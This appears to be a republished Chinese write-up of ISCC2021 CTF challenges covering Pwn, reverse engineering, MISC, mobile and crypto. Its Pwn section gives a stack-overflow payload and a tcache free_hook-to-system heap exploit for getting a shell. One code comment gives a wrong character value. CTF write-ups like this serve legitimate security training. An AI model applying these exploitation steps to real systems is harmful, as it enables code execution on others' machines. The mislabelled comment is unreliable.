当前位置: 首页 > news >正文

ISCC2021 CTF挑战赛:Pwn、RE与MISC赛题深度解析

1. Pwn赛题实战解析:从栈溢出到堆利用

Pwn方向一直是CTF比赛中技术含量最高的赛道之一,ISCC2021的Pwn题目涵盖了栈溢出、堆漏洞利用等经典题型。我们先来看M78这道典型的栈溢出题目。

题目中的check函数存在明显的缓冲区溢出漏洞:

char *__cdecl check(char *s) { char dest[11]; // 只分配了11字节的缓冲区 v3 = strlen(s); if ( v3 == 7 ) { v4 = strcpy(dest, s); // 可能造成dest溢出 } }

这个漏洞的巧妙之处在于利用了char类型截断的特性。虽然输入长度可以达到0x199,但通过构造0x107长度的输入,使得v3被截断为7,既通过了长度检查又触发了溢出。最终的exp构造需要覆盖返回地址到后门函数:

payload = b'0'*(0x18+4) + p32(call_addr) payload = payload.ljust(0x107,b'c') + b'\0'

堆题目box则考察了更高级的利用技巧。题目使用了libc 2.27版本,这个版本的tcache存在double free漏洞且没有完整性检查。我们通过以下步骤完成利用:

  1. 连续释放7个chunk填满tcache
  2. 释放第8个chunk进入unsorted bin
  3. 通过UAF泄露main_arena地址计算libc基址
  4. 修改free_hook为system地址
  5. 释放包含"/bin/sh"的chunk获取shell
_add(0,0x80,"11") # 分配chunk _remove(0) # 释放chunk _view(0) # 泄露地址 _edit(1,p64(free_hook_addr)) # 修改fd指针

2. RE逆向工程:从Python字节码到LLVM IR

逆向工程题目往往需要选手快速理解各种语言的编译产物。garden题目提供了一个Python 2.7的pyc文件,我们可以使用uncompyle6工具进行反编译。

关键check函数使用了异或校验:

def check(s): f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06' for a, b in zip(f, s): checksum += ord(b) ^ ord(a) ^ 123 return checksum == 0

通过分析可知flag就是密文字节与123异或的结果:

flag = ''.join([chr(ord(i) ^ 123) for i in f])

最有趣的当属"汇编大人,时代变了"这道题,它使用了LLVM IR中间语言。我们需要先用llc命令将其编译为可分析的目标文件:

llc -filetype=obj task.ll

在IDA中可以看到核心算法是异或加密:

for ( i = 0; i < strlen(s); ++i ) { v4 = s[i]; s[i] = v4 ^ secret[i % strlen(secret)]; }

通过动态调试和算法逆向,最终还原出flag格式为:ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}

3. MISC杂项技巧:从散点图到音频隐写

杂项题目考察选手的综合能力。"Retrieve the passcode"题目给出了一个scatter.txt文件,里面记录了大量三维坐标点。通过分析发现这些点可以绘制出数字图形:

import matplotlib.pyplot as plt plt.scatter(x_coords, y_coords) # 绘制散点图 plt.show()

运行后显示的图形组合起来是"365728",这正是解压computer.rar的密码。解压后得到的PDF中包含摩斯密码,解密后得到flag。

"我的折扣是多少?"这道题则设计了多层次的解谜过程:

  1. 运行give.exe得到Unicode编码的pass1:\u006b\u0072\u0077 → "krw"
  2. 分析me.zip发现Base64编码的pass2:"gcc666"
  3. 组合密码解压得到提示"youfoundme?"
  4. 使用MP3Stego工具解密音频文件:
mp3stego -D -P "youfoundme?" -X discount.mp3
  1. 最后对得到的Base32字符串解码获得最终flag

4. 移动安全与密码学实战

Mobile Easy题目展示了一个简单的AES-ECB模式加密:

from Crypto.Cipher import AES aes = AES.new(key, AES.MODE_ECB) msg = aes.decrypt(base64.b64decode(str2))

题目中的字符串处理逻辑需要仔细跟踪:

str3 = '' for x in range(7,256,8): if x%9 == 8: break str3 += chr(100+3) # 'g' str3 += chr(100^0x5d) # '!'

Mobile Normal则涉及Android逆向工程,关键点在于分析JNI本地方法:

public native String getPart3();

通过修改smali代码可以直接输出flag:

invoke-direct {p0}, getFlag()Ljava/lang/String; move-result-object v2 invoke-virtual {v0, v2}, setText(Ljava/lang/CharSequence;)

"小明的表情包"这道密码学题目需要先解凯撒密码:

AVARGRRA AVARGL AVAR → NINETEEN NINETY NINE → 1999年

然后用日期格式爆破压缩包密码(07071999),最后修复损坏的图片文件头获得flag。

http://www.jsqmd.com/news/538293/

相关文章:

  • 计算机毕设论文+源码:从选题到实现的全链路技术指南
  • ChatTTS WebUI API(v0.84)实战指南:从部署到生产环境优化
  • SystemVerilog仿真器是怎么“想”的?深入事件队列与Active/NBA区域
  • 2026年热门的洁净室工程总承包/高端制造业厂房工程总承包/工程总承包品牌公司推荐 - 行业平台推荐
  • 2026年AI推广获客系统深度选型指南:玄琨GEO与主流方案的场景匹配分析 - 速递信息
  • 5步打造高效Windows系统:基于Win11Debloat的性能优化方案
  • ConvNeXt 改进 :ConvNeXt添加SCConv(空间和通道重构卷积,CVPR 2023),实现高效涨点,二次创新CNBlock结构 ,独家首发
  • 退休生活助手:OpenClaw+Qwen3.5-9B自动朗读新闻与药品提醒
  • 2026年知名的内蒙金矿石破碎生产线/河北铁矿石破碎生产线/河北玄武岩破碎生产线可靠供应商推荐 - 行业平台推荐
  • 2026年特种润滑脂厂家推荐:密封润滑脂/气缸润滑脂/塑胶齿轮润滑脂/高温润滑脂/导电润滑脂/电触点润滑脂/食品级润滑脂/阻尼润滑脂/全氟聚醚润滑脂/轴承润滑脂专业供应 - 品牌推荐官
  • 云原生必备技能:用KVM+qemu-img将ISO秒变qcow2镜像(支持CentOS8网络配置优化)
  • 真实订单系统面临的技术挑战
  • League-Toolkit 架构解析:基于 LCU API 的英雄联盟客户端自动化解决方案
  • 2026年靠谱的光伏屋顶钢架/光伏屋顶设计高口碑厂家推荐(评价高) - 行业平台推荐
  • 别再为Ubuntu 20.04.2.0的依赖报错头疼了!一个命令+离线包搞定所有
  • 3分钟搞定!用CSS隐藏Video标签控制栏的保姆级教程(含全屏按钮、进度条等)
  • 快速上手ANIMATEDIFF PRO:从环境部署到视频导出的完整操作流程
  • 2026年比较好的交通站场检测/电影院检测厂家选购指南与推荐 - 行业平台推荐
  • Langfuse与Dify集成实战:开源AI观测分析平台助力LLM工作流优化
  • 2026年靠谱的包装设计/成都包装设计/四川包装设计/食品包装设计生产厂家推荐几家 - 行业平台推荐
  • 盘点杭州股权纠纷找本地知名律师事务所,哪家性价比高 - 工业推荐榜
  • Arduino多任务实战:用millis函数替代delay的5个经典场景(附代码)
  • Mem Reduct:轻量级Windows内存优化工具全指南
  • ROS 1/2混搭开发避坑指南:除了ros1_bridge,你还需要注意这几点
  • 2026年评价高的高导电抗氧化二硼化钛粉体/聚合物基PTC材料导电填料用二硼化钛粉体厂家推荐及采购指南 - 行业平台推荐
  • 从Python课设到实战工具:手把手教你用PyQt5和PyJWT打造自己的JWT安全测试GUI
  • 从零开始学目标检测|YOLO 系列从入门到部署
  • Abp动态http接口数据有缓存
  • 广州绿净丰这家过滤器靠谱生产商,选购时要注意什么? - mypinpai
  • 2026年知名的山东全自动碾米机/山东成套碾米机热门厂家推荐汇总 - 行业平台推荐